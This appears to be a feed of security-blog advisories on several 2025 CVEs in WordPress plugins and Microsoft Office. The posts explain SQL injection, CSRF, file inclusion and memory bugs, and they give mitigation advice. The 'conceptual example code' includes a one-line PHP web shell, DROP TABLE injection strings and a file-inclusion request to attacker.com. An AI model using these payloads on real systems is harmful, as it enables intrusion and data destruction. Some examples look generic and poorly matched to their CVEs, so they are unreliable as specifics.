Author: Ameeba

CVE-2025-60156: Critical CSRF Vulnerability in AR For WordPress Allows Shell Uploads
Overview

The cybersecurity landscape is abuzz with the identification of a new vulnerability, CVE-2025-60156. This vulnerability is a Cross-Site Request Forgery (CSRF) that impacts the AR For WordPress web and print service. Essentially, this flaw allows malicious actors to upload a web shell to a web server, potentially leading to system compromise or data leakage. Given the widespread use of AR For WordPress and the severity of the potential impact, understanding and mitigating this vulnerability is of utmost importance.

Vulnerability Summary

CVE ID: CVE-2025-60156
Severity: Critical (9.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

AR For WordPress | n/a through 7.98

How the Exploit Works

The exploit works by manipulating a weakness in the CSRF protections of AR For WordPress. CSRF is a type of malicious exploit where unauthorized commands are transmitted from a user that the website trusts. In the case of this vulnerability, the CSRF flaw allows attackers to trick legitimate users into executing requests on their behalf.
The attacker crafts a URL or web page that, when visited by another user, triggers a request to the AR For WordPress server. The server, failing to adequately validate the origin of the request, executes the command, which in this case involves uploading a web shell. This shell can then be used by the attacker to execute arbitrary commands, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability could be exploited. Please note that this is for illustrative purposes only:
```
POST /upload_shell HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Cookie: [user session cookie]
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-----------------------------735323031399963166993862150--
```
In this example, the attacker crafts a POST request to upload a web shell (`shell.php`) disguised as a standard form submission. The shell executes commands passed via the `cmd` GET parameter.
To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation.
October 2, 2025
CVE-2025-60118: SQL Injection Vulnerability in Potenzaglobalsolutions PGS Core
Overview

The world of cybersecurity is rife with threats, and the Common Vulnerabilities and Exposures (CVE) system is instrumental in indexing these threats. This blog post focuses on a specific vulnerability, CVE-2025-60118, a significant security threat that affects Potenzaglobalsolutions PGS Core. This vulnerability is a classic SQL Injection issue, a type of exploit that targets the database layer of an application, potentially resulting in system compromise or data leakage.
This vulnerability is paramount due to its potential for damage and the widespread use of the affected product, PGS Core, in various applications. With a CVSS Severity Score of 8.5, it underscores the urgent need for organizations using PGS Core to apply necessary patches or adopt appropriate mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-60118
Severity: High (8.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Potenzaglobalsolutions PGS Core | Up to version 5.9.0

How the Exploit Works

The exploit works by manipulating the SQL queries in the application. Specifically, an attacker can input malicious SQL statements into the application, which are then executed by the database. The application fails to adequately sanitize the user input, leading to an SQL injection vulnerability. This could allow an attacker to manipulate the application’s SQL queries, potentially leading to unauthorized access to data, data corruption, or even complete system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This example assumes that the attacker is trying to inject malicious SQL commands via a web form:
```
POST /pgscore/login HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=irrelevant
```
In this example, the username field includes a SQL comment (–). This effectively comments out the rest of the SQL query, allowing the attacker to bypass authentication, assuming the application concatenates this input into a SQL query without proper sanitization.
October 2, 2025
CVE-2025-60110: SQL Injection Vulnerability in LambertGroup AllInOne – Banner Rotator
Overview

We’re delving into the details of the recently discovered vulnerability, CVE-2025-60110. This SQL Injection flaw is related to LambertGroup’s AllInOne – Banner Rotator, a widely used tool in the digital marketing industry. This vulnerability is of significant concern due to its potential for system compromise and data leakage.
As with all SQL Injection vulnerabilities, this presents an opportunity for attackers to manipulate the underlying SQL queries within the system. Given the severity score of 8.5, it is of high importance for administrators to mitigate this vulnerability swiftly and effectively.

Vulnerability Summary

CVE ID: CVE-2025-60110
Severity: High (CVSS: 8.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LambertGroup AllInOne – Banner Rotator | n/a through 3.8

How the Exploit Works

The vulnerability arises from the improper neutralization of special elements used in SQL commands. This allows an attacker to inject malicious SQL queries into the system via user inputs. The injected SQL commands, when executed, give the attacker the ability to read, modify, or delete data that they are normally not allowed to access.

Conceptual Example Code

Below is a simplified example illustrating how the vulnerability can be exploited. In this case, the attacker sends a HTTP POST request with malicious SQL command in the input data.
```
POST /banner/rotate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
banner_id=1; DROP TABLE users
```
In this example, the attacker attempts to delete the ‘users’ table by appending a ‘;’ to the ‘banner_id’ parameter, followed by a ‘DROP TABLE’ command. If the system is vulnerable and lacks proper input sanitization, this SQL command could be executed, leading to the deletion of the ‘users’ table.

Recommendations for Mitigation

The primary method for mitigating this vulnerability is by applying the patch provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure. These tools can help identify and block SQL injection attempts.
Additionally, it is recommended to adopt best practices for SQL query creation, such as using prepared statements or parameterized queries, which can prevent SQL injection attacks by ensuring data sent to the interpreter is treated as a string literal rather than part of the SQL command.
October 2, 2025
CVE-2025-60109: Critical SQL Injection Vulnerability in LambertGroup AllInOne Content Slider
Overview

In this post, we are going to delve into the details of a critical vulnerability, CVE-2025-60109, which affects the LambertGroup AllInOne Content Slider, a widely-used content slider plugin. This vulnerability is particularly severe due to its potential to enable a system compromise or data leakage. By exploiting this vulnerability, an attacker could potentially gain unauthorized access to sensitive data, disrupt services, or even manipulate data.

Vulnerability Summary

CVE ID: CVE-2025-60109
Severity: Critical (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LambertGroup – AllInOne – Content Slider | Up to and including 3.8

How the Exploit Works

The vulnerability resides in the Improper Neutralization of Special Elements used in an SQL Command, more commonly known as SQL Injection. In this case, the attacker could manipulate SQL queries by injecting malicious SQL code into user input fields or into the URL’s query string. This could lead to unauthorized viewing, editing, or deleting of data in the SQL database. In the worst-case scenario, this could even lead to a full system takeover.

Conceptual Example Code

The following conceptual example demonstrates how an attacker could exploit this vulnerability. They could send a malicious HTTP POST request like the one shown below:
```
POST /slide_show/ HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
slide_id=1 OR 1=1; DROP TABLE users;--
```
In this example, the attacker is manipulating the ‘slide_id’ parameter to execute malicious SQL statements. The `1 OR 1=1` will always evaluate to true, potentially allowing the attacker to bypass authentication or view all slides. The `DROP TABLE users` is a destructive SQL statement that would delete the ‘users’ table from the database.

Mitigation and Remediation

The best way to mitigate this vulnerability is by applying the vendor’s patch. Users of the affected LambertGroup AllInOne Content Slider should upgrade to the latest version as soon as possible. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation method. However, these are not long-term solutions and do not address the underlying vulnerability.
Remember, always maintain regular patching and review your system’s security configurations to ensure you are protected against such threats.
October 2, 2025
CVE-2025-60126: Critical PHP Remote File Inclusion Vulnerability in PluginOps Testimonial Slider
Overview

CVE-2025-60126 is a significant cybersecurity vulnerability that affects the PluginOps Testimonial Slider. This vulnerability exposes a potential weak point in the PHP code relating to the improper control of filename for include/require statements, known as ‘PHP Remote File Inclusion’. A successful exploit could lead to a system compromise or data leakage, posing a significant risk to website owners and users alike. Due to the widespread usage of PluginOps Testimonial Slider, this vulnerability is of high concern and warrants immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-60126
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

PluginOps Testimonial Slider | n/a through 3.5.8.6

How the Exploit Works

The vulnerability arises due to improper control of filenames in include/require statements in the PHP program. This flaw allows an attacker to include a file from a remote server that contains malicious PHP code. When the vulnerable script is executed, the remote file is included and executed as well. This could potentially lead to unauthorized access, system compromise, and data leakage.

Conceptual Example Code

Here is a conceptual example of a HTTP request that might exploit this vulnerability:
```
POST /path/to/vulnerable/script.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.com/malicious_script.php
```
In this example, the request is made to a script that is vulnerable to file inclusion attacks. The `include_file` parameter is used to specify the URL of a malicious script on the attacker’s server (`http://attacker.com/malicious_script.php`). When the vulnerable script is executed, it includes and executes the malicious script, leading to the potential consequences outlined above.

Mitigation and Prevention

It is recommended to apply the vendor patch to resolve this vulnerability. In cases where a patch cannot be immediately applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regularly updating software and performing routine security audits can also help in identifying and mitigating such vulnerabilities in the future.
October 2, 2025
CVE-2025-60108: SQL Injection Vulnerability in LambertGroup AllInOne – Banner with Thumbnails
Overview

A critical security vulnerability, identified as CVE-2025-60108, has been discovered within LambertGroup’s AllInOne – Banner with Thumbnails product. This vulnerability, related to the improper neutralization of special elements used in SQL commands, allows an attacker to perform a Blind SQL Injection, potentially leading to a system compromise or data leakage.
This vulnerability is of significant concern due to its broad impact scope, affecting all versions of the AllInOne – Banner with Thumbnails product through 3.8. It is particularly relevant to organizations that utilize this product in their web applications, as it can potentially compromise sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-60108
Severity: High (CVSS: 8.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

LambertGroup – AllInOne – Banner with Thumbnails | Up to 3.8

How the Exploit Works

The CVE-2025-60108 vulnerability allows an attacker to inject malicious SQL statements into the application. This is possible due to the application’s failure to properly sanitize user-supplied input before it’s incorporated into an SQL query. The attacker can exploit this vulnerability to manipulate the structure of the query, ultimately allowing them to interfere with the application’s database directly.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:
```
POST /banner_with_thumbnails/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
id=1' OR '1'='1'; --
```
In this example, the attacker sends a POST request to the application’s endpoint. Instead of a legitimate `id` value, they inject an SQL payload (`1′ OR ‘1’=’1′; –`). This payload modifies the query so that it always returns a true condition, potentially revealing sensitive data or allowing further exploitation.

Mitigation and Remediation

LambertGroup has released a patch to address this vulnerability. All users of the AllInOne – Banner with Thumbnails product are strongly urged to apply this patch immediately. For temporary mitigation, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability. However, these measures should not replace the application of the official patch.
October 2, 2025
CVE-2025-60107: Critical SQL Injection Vulnerability in LambertGroup AllInOne Banner with Playlist
Overview

The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered regularly. One such vulnerability that has recently come to light affects the LambertGroup AllInOne Banner with Playlist. This vulnerability, known as CVE-2025-60107, arises from the improper neutralization of special elements used in an SQL command, commonly referred to as an ‘SQL Injection’ vulnerability.
This vulnerability has the potential to significantly impact any organization that uses the LambertGroup AllInOne Banner with Playlist, particularly those running versions up to 3.8. Given the high severity score of this vulnerability, it is critical for all affected organizations to take immediate steps to mitigate this risk.

Vulnerability Summary

CVE ID: CVE-2025-60107
Severity: Critical (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LambertGroup AllInOne Banner with Playlist | n/a through 3.8

How the Exploit Works

This vulnerability stems from the application’s inability to properly neutralize special elements within an SQL command. In essence, an attacker can send specially crafted input to the application, which then incorrectly processes it as part of an SQL command. This can lead to Blind SQL Injection, where the attacker could extract sensitive data from the database, modify the data, or even execute administrative tasks on the database.

Conceptual Example Code

This is a simplified example of how an attacker might exploit this vulnerability. Please note that this is a conceptual example and not actual exploit code.
```
POST /banner/playlist HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "banner_id": "1 OR 1=1; --" }
```
In this example, the attacker is manipulating the “banner_id” parameter to inject arbitrary SQL code. The “1 OR 1=1; –” payload effectively modifies the SQL query to return all records, as “1=1” is always true. The “–” symbol is used to comment out the rest of the query, preventing any syntax errors.
To mitigate this vulnerability, affected organizations are advised to apply the vendor patch as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
October 2, 2025
CVE-2025-60111: Cross-Site Request Forgery Vulnerability in Javo Core Allowing Authentication Bypass
Overview

The cybersecurity landscape is fraught with various threats and vulnerabilities. Among them, Cross-Site Request Forgery (CSRF) vulnerabilities tend to be particularly dangerous, as they can be exploited to perform unauthorized actions on behalf of an authenticated user without their knowledge or consent. The recent discovery of a CSRF vulnerability in Javothemes’ Javo Core, identified as CVE-2025-60111, serves as a reminder of this risk. This vulnerability, which has a high CVSS severity score of 8.8, allows for an Authentication Bypass, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-60111
Severity: High (CVSS score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Javo Core | n/a through 3.0.0.266

How the Exploit Works

The exploit capitalizes on the CSRF vulnerability in Javo Core. An attacker sends a malicious request that appears to be a legitimate one coming from an authenticated user. This can trick the server into executing the request, which can bypass the authentication process. The attacker, therefore, can perform unauthorized actions on the system, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a hypothetical example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request sent to a vulnerable endpoint.
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: sessionid=authenticated_user_session_id
{ "malicious_payload": "perform_unauthorized_action" }
```
In this example, the malicious payload is injected into the body of the POST request, and the session ID of an authenticated user is included in the cookie.

Mitigation Guidance

To mitigate the risks associated with this vulnerability, it is advised to apply the vendor patch as soon as it becomes available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can act as temporary mitigation strategies. These tools can help to filter out malicious requests and detect potential intrusion attempts, reducing the chances of a successful exploit. It’s crucial that organizations regularly update their systems and maintain a proactive security posture to minimize the risk of similar vulnerabilities in the future.
October 2, 2025
CVE-2025-53732: Critical Heap-based Buffer Overflow Vulnerability in Microsoft Office
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical vulnerability, CVE-2025-53732, that poses a significant risk to users of Microsoft Office. This vulnerability, a heap-based buffer overflow, can be exploited by unauthorized attackers to execute code locally, potentially leading to system compromise or data leakage. Given the widespread usage of Microsoft Office across industries and sectors, understanding and addressing this vulnerability is of paramount importance for organizations and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-53732
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Office | All versions until patched

How the Exploit Works

This vulnerability exploits a heap-based buffer overflow in Microsoft Office. Essentially, the attacker overflows the application’s buffer memory with more data than it can hold. The extra data then spills over into adjacent memory locations, corrupting or even overwriting the valid data held in them. If the attacker can control the data that overflows the buffer, they can manipulate the execution path of the program, leading to arbitrary code execution.

Conceptual Example Code

While actual exploit code will vary greatly depending on the specific buffer overflow and the attacker’s goals, below is a simplistic, conceptual example of how a buffer overflow might be triggered.
```
#include <string.h>
void vulnerable_function(char *input) {
char buffer[50];
strcpy(buffer, input);
}
int main() {
char malicious_input[100];
for (int i=0; i<100; i++)
malicious_input[i] = 'A';
vulnerable_function(malicious_input);
return 0;
}
```
In this example, the `vulnerable_function` is designed to copy an input string into a buffer of size 50. However, if the input string is longer than what the buffer can hold, like the `malicious_input` of 100 ‘A’s, a buffer overflow occurs. This can potentially lead to arbitrary code execution, with the specific effects dependent on the context and the attacker’s goals.

Mitigation

The best mitigation for this vulnerability is to apply the patch provided by the vendor as soon as it is available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and block exploitation attempts. However, these measures only provide a stop-gap solution and do not eliminate the vulnerability, so applying the vendor’s patch should be a priority.
October 2, 2025
CVE-2025-53730: Critical Use-After-Free Vulnerability in Microsoft Office Visio
Overview

In this blog post, we are going to delve into the details of a high severity vulnerability, CVE-2025-53730, affecting Microsoft Office Visio. This vulnerability is a critical use-after-free issue that can allow an unauthorized attacker to execute arbitrary code on the victim’s system locally. It’s a significant threat due to the widespread use of Microsoft Office products across businesses globally, meaning a large number of systems could potentially be at risk.

Vulnerability Summary

CVE ID: CVE-2025-53730
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Microsoft Office Visio | All prior to the latest patch

How the Exploit Works

A use-after-free vulnerability involves the use of memory after it has been freed. This can lead to various unwanted outcomes, including program crashes, incorrect outputs, and potentially, arbitrary code execution. In the context of CVE-2025-53730, an attacker could craft a malicious Visio file which, when opened by the victim, exploits this vulnerability to execute arbitrary code on the local system.

Conceptual Example Code

Below is a conceptual example illustrating a potential malicious payload that could exploit this vulnerability. This is not a real exploit code, but rather a simplified representation to give an idea of how the exploit could work.
```
# Malicious shellcode
malicious_code = """
<shellcode representing arbitrary code execution>
"""
# Craft a malicious Visio file
visio_file = create_visio_file_with_malicious_code(malicious_code)
# Send the malicious Visio file to the victim
send_file_to_victim(visio_file)
```
In this conceptual example, the attacker creates a Visio file embedding malicious shellcode. This file is then sent to the victim, who opens it, triggering the use-after-free vulnerability and executing the malicious code.

Mitigation Guidance

Users are advised to apply the vendor patch immediately to mitigate this vulnerability. If unable to apply the patch, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. These measures can help protect against the exploitation of this vulnerability by detecting and blocking malicious traffic patterns or payloads.
Remember, staying updated with the latest security patches and implementing a robust cybersecurity infrastructure are essential components in defending against such vulnerabilities.
October 2, 2025